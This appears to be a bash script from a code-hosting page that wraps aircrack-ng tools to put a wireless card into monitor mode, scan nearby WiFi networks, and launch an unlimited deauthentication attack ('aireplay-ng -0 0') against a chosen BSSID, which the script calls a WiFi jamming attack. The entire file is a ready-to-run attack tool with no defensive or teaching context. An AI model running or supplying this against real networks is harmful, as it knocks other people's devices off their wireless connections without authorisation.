Spaces:
No application file
No application file
File size: 3,047 Bytes
90174ef |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 |
#!/bin/bash
# Check for root privileges
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
# Interface Finder
interface=$(iw dev | awk '$1=="Interface"{print $2}')
# Function to start monitor mode
start_monitor() {
if iwconfig "$interface" | grep "Mode:Monitor" > /dev/null; then
echo "Monitor mode is already enabled on $interface"
else
echo "Enabling monitor mode on $interface..."
airmon-ng start "$interface" > /dev/null 2>&1
echo "Monitor mode enabled on $interface."
fi
}
# Function to stop monitor mode
stop_monitor() {
if iwconfig "$interface" | grep "Mode:Managed" > /dev/null; then
echo "Monitor mode is already disabled on $interface"
else
interface=$(iw dev | awk '$1=="Interface"{print $2}')
echo "Disabling monitor mode on $interface..."
airmon-ng stop "$interface" > /dev/null 2>&1
echo "Monitor mode disabled on $interface."
fi
}
# Function to show WiFi networks using airodump-ng
show_networks() {
interface=$(iw dev | awk '$1=="Interface"{print $2}')
echo "Scanning for WiFi networks on $interface..."
airodump-ng "$interface"
}
show_indivisual_networks() {
interface=$(iw dev | awk '$1=="Interface"{print $2}')
echo "Scanning for WiFi network on $interface..."
airodump-ng "$interface" --bssid "$1" --channel "$2"
}
perform_attack() {
echo "Attack is going to start..."
sleep 2
echo "To stop attack press Ctrl+c"
aireplay-ng "$interface" -0 0 -a "$1" &
# Define the loading animation
animation="/-\|"
index=0
# Check if aireplay-ng is still running
while ps -p $! >/dev/null; do
echo -ne "\r[ ${animation:index++%${#animation}:1} ] Running WiFi Jamming Attack..."
done
}
# Check command-line arguments
case "$1" in
--monitor)
case "$2" in
start)
start_monitor
;;
stop)
stop_monitor
;;
*)
echo "Unknown argument for -monitor: $2"
exit 1
;;
esac
;;
--status)
show_networks
;;
--bssid)
case "$3" in
--channel)
show_indivisual_networks "$2" "$4"
;;
esac
;;
--attack)
case "$2" in
--bssid)
perform_attack "$3"
;;
*)
echo "wifi --attack --bssid <bssid_name>"
exit 1
;;
esac
;;
*)
echo "Usage: wifi --monitor start"
echo " wifi --monitor stop"
echo " wifi --status"
echo " wifi --bssid <bssid_name> --channel <channel_number>"
echo " wifi --attack --bssid <bssid_name>"
exit 1
;;
esac
# Print the new interface name if it's set
if [ -n "$new_interface" ]; then
echo "New interface name for monitor mode: $new_interface"
fi |